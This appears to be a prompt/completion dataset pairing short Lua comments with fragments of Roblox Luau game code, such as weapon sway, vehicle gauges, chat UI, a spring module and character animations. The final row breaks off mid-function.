prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--local Sprinting =false
|
local L_134_ = L_110_.new(Vector3.new())
L_134_.s = 15
L_134_.d = 0.5
game:GetService("UserInputService").InputChanged:connect(function(L_257_arg1) --Get the mouse delta for the gun sway
if L_257_arg1.UserInputType == Enum.UserInputType.MouseMovement then
L_129_ = math.min(math.max(L_257_arg1.Delta.x, -L_131_), L_131_)
L_130_ = math.min(math.max(L_257_arg1.Delta.y, -L_131_), L_131_)
end
end)
L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still
L_129_ = 0
L_130_ = 0
end)
local L_135_ = false
local L_136_ = CFrame.new()
local L_137_ = CFrame.new()
local L_138_ = 0
local L_139_ = CFrame.new()
local L_140_ = 0.1
local L_141_ = 2
local L_142_ = 0
local L_143_ = .2
local L_144_ = 17
local L_145_ = 0
local L_146_ = 5
local L_147_ = .3
local L_148_, L_149_ = 0, 0
local L_150_ = nil
local L_151_ = nil
local L_152_ = nil
L_3_.Humanoid.Running:connect(function(L_258_arg1)
if L_258_arg1 > 1 then
L_135_ = true
else
L_135_ = false
end
end)
|
-------------------------
|
function onClicked()
Car.BodyVelocity.maxForce = Vector3.new(math.huge, math.huge, math.huge)
Car.BodyVelocity.velocity = Vector3.new(0, 10, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- If you deleted this you are shady noob and you will be unlucky for 69 years
|
if not ModelUrl=="2813016734"then
warn("Invalid model's code")
script.Parent:Destroy()
end
|
--[[ Constants ]]
|
--
local IMAGE_DISK = "rbxasset://textures/ui/Input/Disk_padded.png"
local IMAGE_RING = "rbxasset://textures/ui/Input/Ring_padded.png"
local MIDDLE_TRANSPARENCIES = {
1 - 0.69,
1 - 0.50,
1 - 0.40,
1 - 0.30,
1 - 0.20,
1 - 0.10,
1 - 0.05
}
local NUM_MIDDLE_IMAGES = #MIDDLE_TRANSPARENCIES
local TOUCH_IS_TAP_TIME_THRESHOLD = 0.5
local TOUCH_IS_TAP_DISTANCE_THRESHOLD = 25
local HasFadedBackgroundInPortrait = false
local HasFadedBackgroundInLandscape = false
local FadeInAndOutBackground = true
local FadeInAndOutMaxAlpha = 0.35
local FADE_IN_OUT_HALF_DURATION_DEFAULT = 0.3
local FADE_IN_OUT_HALF_DURATION_ORIENTATION_CHANGE = 2
local FADE_IN_OUT_BALANCE_DEFAULT = 0.5
local FadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
local FadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT
|
-- Define the mouse event handlers for resizing the window
|
resizeButton.MouseButton1Down:Connect(function()
-- Store the mouse position offset relative to the window position
local windowPos = windowFrame.AbsolutePosition
local windowSize = windowFrame.AbsoluteSize
local mousePos = UserInputService:GetMouseLocation()
mouseOffset = Vector2.new(windowPos.X + windowSize.X - mousePos.X, windowPos.Y + windowSize.Y - mousePos.Y)
-- Connect the mouse move and up events for resizing the window
local mouseMoveConn = UserInputService.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement then
-- Calculate the new size of the window based on the mouse position
local mousePos = UserInputService:GetMouseLocation()
local newSize = Vector2.new(mousePos.X - windowPos.X + mouseOffset.X, mousePos.Y - windowPos.Y + mouseOffset.Y)
-- Constrain the new size of the window to within the minimum and maximum size
newSize = Vector2.new(math.clamp(newSize.X, minSize.X, maxSize.X), math.clamp(newSize.Y, minSize.Y, maxSize.Y))
-- Update the size of the window
windowFrame.Size = UDim2.new(0, newSize.X, 0, newSize.Y)
end
end)
local mouseUpConn
mouseUpConn = UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
-- Disconnect the mouse move and up events for resizing the window
mouseMoveConn:Disconnect()
mouseUpConn:Disconnect()
end
end)
end)
|
--connecting the equip, unequip, and mouseClick functions
|
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
script.Parent.Activated:connect(onActivated)
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
|
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize = self:GetStringTextBounds(str, font, textSize)
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.75
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
if shouldClipInGameChat then
BaseMessage.ClipsDescendants = true
end
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
local clickedConn = NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
local changedConn = nil
changedConn = NameButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return NameButton
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
local clickedConn = ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
local changedConn = nil
changedConn = ChannelButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return ChannelButton
end
function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText)
local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize)
local TagLabel = self:GetFromObjectPool("TextLabel")
TagLabel.Selectable = false
TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y)
TagLabel.Position = UDim2.new(0, 0, 0, 0)
TagLabel.BackgroundTransparency = 1
TagLabel.Font = BaseMessage.Font
TagLabel.TextSize = BaseMessage.TextSize
TagLabel.TextXAlignment = BaseMessage.TextXAlignment
TagLabel.TextYAlignment = BaseMessage.TextYAlignment
TagLabel.TextTransparency = BaseMessage.TextTransparency
TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
TagLabel.TextColor3 = tagColor
TagLabel.Text = formatTagText
TagLabel.Visible = true
TagLabel.Parent = BaseMessage
return TagLabel
end
function GetWhisperChannelPrefix()
if ChatConstants.WhisperChannelPrefix then
return ChatConstants.WhisperChannelPrefix
end
return "To "
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = GetWhisperChannelPrefix() ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
local whisperMessage = "/w " ..playerName
self.ChatBar:SetText(whisperMessage)
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:SetText(whisperMessage)
self.ChatBar:CaptureFocus()
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
|
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,Distance = 10000
,BDrop = .25
,BSpeed = 2200
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = true
,BWEmitter = 25
,BWMaxDistance = 200
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = true
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 3
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = 100
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0
|
--------------------------------------------------------
|
local prev = Tool:FindFirstChild("Handle")
local ModelChild = script.Parent:GetChildren()
for i = 1,#ModelChild do
if (ModelChild[i].className == "Part") or (ModelChild[i].className == "MeshPart") then
if (prev ~= nil)then
local weld = Instance.new("Weld")
weld.Part0 = prev
weld.Part1 = ModelChild[i]
weld.C0 = prev.CFrame:inverse()
weld.C1 = ModelChild[i].CFrame:inverse()
weld.Parent = prev
end
ModelChild[i].Anchored = false
prev = ModelChild[i]
end
---- If ModelChild is a Model ---
if ModelChild[i]:IsA("Model") then
local prev2 = prev
local parts2 = ModelChild[i]:GetChildren()
for i = 1,#parts2 do
if (parts2[i].className == "Part") or (parts2[i].className == "UnionOperation") then
if (prev2 ~= nil)then
local weld = Instance.new("Weld")
weld.Part0 = prev2
weld.Part1 = parts2[i]
weld.C0 = prev2.CFrame:inverse()
weld.C1 = parts2[i].CFrame:inverse()
weld.Parent = prev2
end
parts2[i].Anchored = false
prev2 = parts2[i]
end
end
end
end
wait(3)
script:remove()
|
--[=[
@within Timer
@type CallbackFn () -> ()
Callback function.
]=]
|
type CallbackFn = () -> nil
|
--Stoppie tune
|
local StoppieD = 15
local StoppieTq = 40
local StoppieP = 10
local StoppieMultiplier = 1
local StoppieDivider = 2
local clock = .0667 --How fast your wheelie script refreshes
|
--[[
Returns the enums.PrimaryButtonModes that is reflective of the ownership and
equip status from the specified `assetId` and `assetType` of a MerchBooth
accessory.
Default mode is Purchase. Ownership is checked through
MarketplaceService:PlayerOwnsAsset; if the accessory is owned, then equip
status is then checked through the player's HumanoidDescription first and
the humanoid's accessories second.
This function is called when the MerchBooth is opened.
]]
|
local MarketplaceService = game:GetService("MarketplaceService")
local MerchBooth = script:FindFirstAncestor("MerchBooth")
local enums = require(MerchBooth.enums)
local types = require(MerchBooth.types)
local isItemEquipped = require(MerchBooth.Modules.isItemEquipped)
return function(mockMarketplaceService: MarketplaceService)
MarketplaceService = mockMarketplaceService or MarketplaceService
local function getButtonModeAsync(player: Player, itemInfo: types.ItemInfo): string
local character = player and player.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
local mode = enums.PrimaryButtonModes.Purchase
if humanoid then
if itemInfo.isOwned then
mode = enums.PrimaryButtonModes.Owned
--if itemInfo.assetType then
-- mode = enums.PrimaryButtonModes.CanEquip
-- local description = humanoid:GetAppliedDescription()
-- if isItemEquipped(description, itemInfo) then
-- mode = enums.PrimaryButtonModes.Equipped
-- end
--end
elseif itemInfo.price < 0 then
mode = enums.PrimaryButtonModes.NotForSale
end
end
return mode
end
return getButtonModeAsync
end
|
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
-- Main Logic
|
local function Reflect(surfaceNormal, bulletNormal)
return bulletNormal - (2 * bulletNormal:Dot(surfaceNormal) * surfaceNormal)
end
function Fire(direction)
-- Called when we want to fire the gun.
if Tool.Parent:IsA("Backpack") then return end -- Can't fire if it's not equipped.
-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.
-- UPD. 11 JUNE 2019 - Add support for random angles.
local directionalCF = CFrame.new(Vector3.new(), direction)
-- Now, we can use CFrame orientation to our advantage.
-- Overwrite the existing Direction value.
local direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector
-- UPDATE V6: Proper bullet velocity!
-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.
-- Requested by https://www.roblox.com/users/898618/profile/
-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.
local humanoidRootPart = Tool.Parent:WaitForChild("HumanoidRootPart", 1) -- Add a timeout to this.
local myMovementSpeed = humanoidRootPart.Velocity -- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.
local modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed -- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.
local simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)
-- Optionally use some methods on simBullet here if applicable.
-- Play the sound
PlayFireSound()
end
local function KnockBack(hitPos, impactStrength)
local boom = Instance.new("Explosion")
boom.BlastPressure = 30000*impactStrength
boom.BlastRadius = 2
boom.Visible = false
boom.ExplosionType = Enum.ExplosionType.NoCraters
boom.DestroyJointRadiusPercent = 0
boom.Position = hitPos
boom.Parent = workspace.Terrain
Debris:AddItem(boom, .1)
end
|
--// # key, ManOn
|
mouse.KeyDown:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Man:Play()
veh.Lightbar.middle.Wail.Volume = 0
veh.Lightbar.middle.Yelp.Volume = 0
veh.Lightbar.middle.Priority.Volume = 0
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
veh.Lightbar.MAN.Transparency = 0
end
end)
|
-- Libraries
|
local Roact = require(Vendor:WaitForChild('Roact'))
local ToolManualWindow = require(UI:WaitForChild('ToolManualWindow'))
local function ListenForManualWindowTrigger(Text, ThemeColor, SignatureButton)
local HelpButton = SignatureButton:WaitForChild('HelpButton')
local IsManualOpen = false
local ManualHandle = nil
local function BeginHover()
if not IsManualOpen then
HelpButton.TextTransparency = 0
HelpButton:WaitForChild('Background').BackgroundTransparency = 0
end
end
local function EndHover()
if not IsManualOpen then
HelpButton.TextTransparency = 0.5
HelpButton:WaitForChild('Background').BackgroundTransparency = 0.75
end
end
local function ToggleManual()
HelpButton.TextTransparency = IsManualOpen and 0 or 0.5
HelpButton:WaitForChild('Background').BackgroundTransparency = IsManualOpen and 0 or 0.75
-- Close manual if open
if IsManualOpen then
EndHover()
IsManualOpen = false
ManualHandle = Roact.unmount(ManualHandle)
-- Open manual if closed
else
BeginHover()
IsManualOpen = true
local ManualElement = Roact.createElement(ToolManualWindow, {
Text = Text;
ThemeColor = ThemeColor;
})
ManualHandle = Roact.mount(ManualElement, Core.UI, 'ToolManualWindow')
end
end
-- Enable help button
SignatureButton.Activated:Connect(ToggleManual)
HelpButton.Activated:Connect(ToggleManual)
SignatureButton.InputBegan:Connect(BeginHover)
SignatureButton.InputEnded:Connect(EndHover)
HelpButton.InputBegan:Connect(BeginHover)
HelpButton.InputEnded:Connect(EndHover)
end
return ListenForManualWindowTrigger
|
--- Skip forwards in now
-- @param delta now to skip forwards
|
function Spring:TimeSkip(delta)
local now = self._clock()
local position, velocity = self:_positionVelocity(now+delta)
self._position0 = position
self._velocity0 = velocity
self._time0 = now
end
function Spring:__index(index)
if Spring[index] then
return Spring[index]
elseif index == "Value" or index == "Position" or index == "p" then
local position, _ = self:_positionVelocity(self._clock())
return position
elseif index == "Velocity" or index == "v" then
local _, velocity = self:_positionVelocity(self._clock())
return velocity
elseif index == "Target" or index == "t" then
return self._target
elseif index == "Damper" or index == "d" then
return self._damper
elseif index == "Speed" or index == "s" then
return self._speed
elseif index == "Clock" then
return self._clock
else
error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
end
end
function Spring:__newindex(index, value)
local now = self._clock()
if index == "Value" or index == "Position" or index == "p" then
local _, velocity = self:_positionVelocity(now)
self._position0 = value
self._velocity0 = velocity
self._time0 = now
elseif index == "Velocity" or index == "v" then
local position, _ = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = value
self._time0 = now
elseif index == "Target" or index == "t" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._target = value
self._time0 = now
elseif index == "Damper" or index == "d" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._damper = math.clamp(value, 0, 1)
self._time0 = now
elseif index == "Speed" or index == "s" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._speed = value < 0 and 0 or value
self._time0 = now
elseif index == "Clock" then
local position, velocity = self:_positionVelocity(now)
self._position0 = position
self._velocity0 = velocity
self._clock = value
self._time0 = value()
else
error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
end
end
function Spring:_positionVelocity(now)
local p0 = self._position0
local v0 = self._velocity0
local p1 = self._target
local d = self._damper
local s = self._speed
local t = s*(now - self._time0)
local d2 = d*d
local h, si, co
if d2 < 1 then
h = math.sqrt(1 - d2)
local ep = math.exp(-d*t)/h
co, si = ep*math.cos(h*t), ep*math.sin(h*t)
elseif d2 == 1 then
h = 1
local ep = math.exp(-d*t)/h
co, si = ep, ep*t
else
h = math.sqrt(d2 - 1)
local u = math.exp((-d + h)*t)/(2*h)
local v = math.exp((-d - h)*t)/(2*h)
co, si = u + v, u - v
end
local a0 = h*co + d*si
local a1 = 1 - (h*co + d*si)
local a2 = si/s
local b0 = -s*si
local b1 = s*si
local b2 = h*co - d*si
return
a0*p0 + a1*p1 + a2*v0,
b0*p0 + b1*p1 + b2*v0
end
return Spring
|
-- SERVICES --
|
local CS = game:GetService("CollectionService")
|
-- Writes a warning to the output
-- in context of the FpsCamera.
|
function FpsCamera:Warn(...)
warn("[FpsCamera]", ...)
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/.2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- Ideas : Use this crystal for points in a minigame, Change the color of crystal; Whisper me for a Custom Item with your name on it!
| |
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing()
playAnimation("climb", 0.1, Humanoid)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
